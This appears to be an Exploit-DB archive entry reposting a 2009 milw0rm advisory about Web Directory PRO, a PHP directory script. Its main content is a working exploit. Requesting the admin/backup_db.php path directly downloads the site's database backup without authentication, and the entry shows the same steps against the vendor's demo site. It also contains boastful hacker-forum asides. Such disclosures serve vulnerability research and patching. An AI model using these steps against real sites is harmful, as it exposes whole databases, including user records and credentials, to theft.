Web Directory PRO - Remote Database Backup

EDB-ID:

8878

CVE:



Author:

TiGeR-Dz

Type:

webapps


Platform:

PHP

Date:

2009-06-04


 ---------------------------------------------------------------
 Web Directory PRO Remote Database Backup Vulnerability
 ---------------------------------------------------------------
 Founder :TiGeR-Dz
 Home:http://www.h4ckf0ru.com
 Script:Web Directory PRO 
 Download:http://www.phpwebdirectoryscript.com/
 Note: in sha alah sanantasire a la misre  you ekahade :)
 ---------------------------------------------------------------
 Exploit
 -------
 www.site.com/[path]/admin/login.php

 go to Download Backup 

 www.site.com/[path]/admin/backup_db.php
 
 booooooooooooommmmmmmmmm the Backup is download :)
 
 
 ----------------------------------------------------------------
 Dem0
 ---------
 http://demo-web-directory-pro.phpwebdirectoryscript.com/admin/login.php

 go to Download Backup 
 
 http://demo-web-directory-pro.phpwebdirectoryscript.com/admin/backup_db.php
booooooooooooommmmmmmmmm the Backup is download :)

--------------------------------------

 Greeting To ALL My Friends (Dz)
 -----------------------------------------

# milw0rm.com [2009-06-04]